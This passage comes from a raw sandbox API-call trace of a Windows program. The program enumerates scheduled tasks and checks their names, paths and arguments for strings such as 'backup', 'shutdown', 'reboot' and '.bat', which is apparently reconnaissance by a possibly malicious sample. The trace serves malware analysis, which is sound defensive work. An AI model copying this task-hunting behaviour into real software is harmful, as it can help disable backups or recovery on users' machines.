returned 1 [0130.396] IUnknown:Release (This=0x24608b8) returned 0x2 [0130.396] IUnknown:Release (This=0x24608b8) returned 0x1 [0130.396] IUnknown:Release (This=0x2460128) returned 0x1 [0130.396] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.396] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.396] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.396] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="MediaCenterRecoveryTask") returned 0x0 [0130.396] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.412] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0130.412] wcsstr (_Str="mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0130.412] wcsstr (_Str="mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0130.412] wcsstr (_Str="mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0130.412] wcsstr (_Str="mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0130.412] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0130.412] wcsstr (_Str="mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0130.412] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0130.412] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0130.412] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.418] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.418] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0130.418] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460888) returned 0x0 [0130.418] IAction:get_Type (in: This=0x2460888, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.418] IUnknown:QueryInterface (in: This=0x2460888, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460888) returned 0x0 [0130.418] IExecAction:get_Path (in: This=0x2460888, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0130.418] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c28a8 [0130.418] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0130.418] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0130.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0130.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0130.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0130.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0130.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0130.419] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.419] IExecAction:get_Arguments (in: This=0x2460888, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-MediaCenterRecoveryTask") returned 0x0 [0130.419] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0130.419] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0130.419] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0130.419] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0130.419] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0130.419] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0130.419] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0130.419] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0130.419] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.419] IUnknown:Release (This=0x2460888) returned 0x2 [0130.419] IUnknown:Release (This=0x2460888) returned 0x1 [0130.419] IActionCollection:get_Item (in: This=0x2460138, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608c8) returned 0x0 [0130.419] IAction:get_Type (in: This=0x24608c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.419] IUnknown:Release (This=0x24608c8) returned 0x1 [0130.419] IUnknown:Release (This=0x2460138) returned 0x1 [0130.419] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.419] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.419] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.419] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ObjectStoreRecoveryTask") returned 0x0 [0130.419] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.422] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0130.422] wcsstr (_Str="objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0130.422] wcsstr (_Str="objectstorerecoverytask", _SubStr="restart") returned 0x0 [0130.422] wcsstr (_Str="objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0130.422] wcsstr (_Str="objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0130.422] wcsstr (_Str="objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0130.422] wcsstr (_Str="objectstorerecoverytask", _SubStr="backup") returned 0x0 [0130.422] wcsstr (_Str="objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0130.422] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0130.422] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.445] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.445] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0130.445] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460888) returned 0x0 [0130.445] IAction:get_Type (in: This=0x2460888, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.445] IUnknown:QueryInterface (in: This=0x2460888, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460888) returned 0x0 [0130.445] IExecAction:get_Path (in: This=0x2460888, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0130.445] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c28a8 [0130.445] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0130.445] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0130.445] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0130.445] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0130.445] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0130.445] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0130.445] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0130.445] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.445] IExecAction:get_Arguments (in: This=0x2460888, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-ObjectStoreRecoveryTask") returned 0x0 [0130.445] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0130.445] wcsstr (_Str="-objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0130.445] wcsstr (_Str="-objectstorerecoverytask", _SubStr="restart") returned 0x0 [0130.445] wcsstr (_Str="-objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0130.446] wcsstr (_Str="-objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0130.446] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0130.446] wcsstr (_Str="-objectstorerecoverytask", _SubStr="backup") returned 0x0 [0130.446] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0130.446] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.446] IUnknown:Release (This=0x2460888) returned 0x2 [0130.446] IUnknown:Release (This=0x2460888) returned 0x1 [0130.446] IActionCollection:get_Item (in: This=0x2460138, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608c8) returned 0x0 [0130.446] IAction:get_Type (in: This=0x24608c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.446] IUnknown:Release (This=0x24608c8) returned 0x1 [0130.446] IUnknown:Release (This=0x2460138) returned 0x1 [0130.446] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.446] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.446] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.446] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURActivate") returned 0x0 [0130.446] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.460] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3d40 [0130.460] wcsstr (_Str="ocuractivate", _SubStr="reboot") returned 0x0 [0130.460] wcsstr (_Str="ocuractivate", _SubStr="restart") returned 0x0 [0130.460] wcsstr (_Str="ocuractivate", _SubStr="shutdown") returned 0x0 [0130.460] wcsstr (_Str="ocuractivate", _SubStr="logoff") returned 0x0 [0130.460] wcsstr (_Str="ocuractivate", _SubStr=".bat") returned 0x0 [0130.460] wcsstr (_Str="ocuractivate", _SubStr="backup") returned 0x0 [0130.460] wcsstr (_Str="ocuractivate", _SubStr=".cmd") returned 0x0 [0130.460] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d40) returned 1 [0130.460] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.465] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.465] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.465] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460878) returned 0x0 [0130.466] IAction:get_Type (in: This=0x2460878, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.466] IUnknown:QueryInterface (in: This=0x2460878, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460878) returned 0x0 [0130.466] IExecAction:get_Path (in: This=0x2460878, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.466] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.466] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.466] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.466] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.466] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.466] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.466] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.466] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.466] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.466] IExecAction:get_Arguments (in: This=0x2460878, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURActivate") returned 0x0 [0130.466] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f4010 [0130.466] wcsstr (_Str="/ocuractivate", _SubStr="reboot") returned 0x0 [0130.466] wcsstr (_Str="/ocuractivate", _SubStr="restart") returned 0x0 [0130.466] wcsstr (_Str="/ocuractivate", _SubStr="shutdown") returned 0x0 [0130.466] wcsstr (_Str="/ocuractivate", _SubStr="logoff") returned 0x0 [0130.466] wcsstr (_Str="/ocuractivate", _SubStr=".bat") returned 0x0 [0130.466] wcsstr (_Str="/ocuractivate", _SubStr="backup") returned 0x0 [0130.466] wcsstr (_Str="/ocuractivate", _SubStr=".cmd") returned 0x0 [0130.466] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4010) returned 1 [0130.466] IUnknown:Release (This=0x2460878) returned 0x2 [0130.466] IUnknown:Release (This=0x2460878) returned 0x1 [0130.466] IUnknown:Release (This=0x2460128) returned 0x1 [0130.466] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.467] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.467] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.467] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURDiscovery") returned 0x0 [0130.467] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.468] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3db8 [0130.468] wcsstr (_Str="ocurdiscovery", _SubStr="reboot") returned 0x0 [0130.468] wcsstr (_Str="ocurdiscovery", _SubStr="restart") returned 0x0 [0130.468] wcsstr (_Str="ocurdiscovery", _SubStr="shutdown") returned 0x0 [0130.468] wcsstr (_Str="ocurdiscovery", _SubStr="logoff") returned 0x0 [0130.468] wcsstr (_Str="ocurdiscovery", _SubStr=".bat") returned 0x0 [0130.468] wcsstr (_Str="ocurdiscovery", _SubStr="backup") returned 0x0 [0130.468] wcsstr (_Str="ocurdiscovery", _SubStr=".cmd") returned 0x0 [0130.468] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0130.468] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.474] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.474] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.474] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460878) returned 0x0 [0130.474] IAction:get_Type (in: This=0x2460878, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.474] IUnknown:QueryInterface (in: This=0x2460878, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460878) returned 0x0 [0130.474] IExecAction:get_Path (in: This=0x2460878, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.474] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.474] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.474] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.474] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.474] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.474] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.474] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.474] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.474] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.474] IExecAction:get_Arguments (in: This=0x2460878, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURDiscovery $(Arg0)") returned 0x0 [0130.474] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6cab08 [0130.474] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="reboot") returned 0x0 [0130.474] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="restart") returned 0x0 [0130.474] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="shutdown") returned 0x0 [0130.474] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="logoff") returned 0x0 [0130.474] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".bat") returned 0x0 [0130.474] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="backup") returned 0x0 [0130.474] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".cmd") returned 0x0 [0130.474] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0130.475] IUnknown:Release (This=0x2460878) returned 0x2 [0130.475] IUnknown:Release (This=0x2460878) returned 0x1 [0130.475] IUnknown:Release (This=0x2460128) returned 0x1 [0130.475] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.475] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.475] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.475] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscovery") returned 0x0 [0130.475] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.476] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3e80 [0130.476] wcsstr (_Str="pbdadiscovery", _SubStr="reboot") returned 0x0 [0130.476] wcsstr (_Str="pbdadiscovery", _SubStr="restart") returned 0x0 [0130.476] wcsstr (_Str="pbdadiscovery", _SubStr="shutdown") returned 0x0 [0130.477] wcsstr (_Str="pbdadiscovery", _SubStr="logoff") returned 0x0 [0130.477] wcsstr (_Str="pbdadiscovery", _SubStr=".bat") returned 0x0 [0130.477] wcsstr (_Str="pbdadiscovery", _SubStr="backup") returned 0x0 [0130.477] wcsstr (_Str="pbdadiscovery", _SubStr=".cmd") returned 0x0 [0130.477] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3e80) returned 1 [0130.477] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.483] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.483] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.483] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460878) returned 0x0 [0130.483] IAction:get_Type (in: This=0x2460878, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.483] IUnknown:QueryInterface (in: This=0x2460878, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460878) returned 0x0 [0130.483] IExecAction:get_Path (in: This=0x2460878, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.483] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.483] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.483] IExecAction:get_Arguments (in: This=0x2460878, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/PBDADiscovery") returned 0x0 [0130.484] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6f4038 [0130.484] wcsstr (_Str="/pbdadiscovery", _SubStr="reboot") returned 0x0 [0130.484] wcsstr (_Str="/pbdadiscovery", _SubStr="restart") returned 0x0 [0130.484] wcsstr (_Str="/pbdadiscovery", _SubStr="shutdown") returned 0x0 [0130.484] wcsstr (_Str="/pbdadiscovery", _SubStr="logoff") returned 0x0 [0130.484] wcsstr (_Str="/pbdadiscovery", _SubStr=".bat") returned 0x0 [0130.484] wcsstr (_Str="/pbdadiscovery", _SubStr="backup") returned 0x0 [0130.484] wcsstr (_Str="/pbdadiscovery", _SubStr=".cmd") returned 0x0 [0130.484] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.484] IUnknown:Release (This=0x2460878) returned 0x2 [0130.484] IUnknown:Release (This=0x2460878) returned 0x1 [0130.484] IUnknown:Release (This=0x2460128) returned 0x1 [0130.484] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.484] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.484] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.484] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW1") returned 0x0 [0130.484] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.486] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3cf0 [0130.486] wcsstr (_Str="pbdadiscoveryw1", _SubStr="reboot") returned 0x0 [0130.486] wcsstr (_Str="pbdadiscoveryw1", _SubStr="restart") returned 0x0 [0130.486] wcsstr (_Str="pbdadiscoveryw1", _SubStr="shutdown") returned 0x0 [0130.486] wcsstr (_Str="pbdadiscoveryw1", _SubStr="logoff") returned 0x0 [0130.486] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".bat") returned 0x0 [0130.486] wcsstr (_Str="pbdadiscoveryw1", _SubStr="backup") returned 0x0 [0130.486] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".cmd") returned 0x0 [0130.486] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3cf0) returned 1 [0130.486] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.492] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.492] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.492] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608b8) returned 0x0 [0130.492] IAction:get_Type (in: This=0x24608b8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.492] IUnknown:QueryInterface (in: This=0x24608b8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24608b8) returned 0x0 [0130.492] IExecAction:get_Path (in: This=0x24608b8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.492] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.492] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.492] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.492] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.492] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.492] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.492] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.492] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.492] IExecAction:get_Arguments (in: 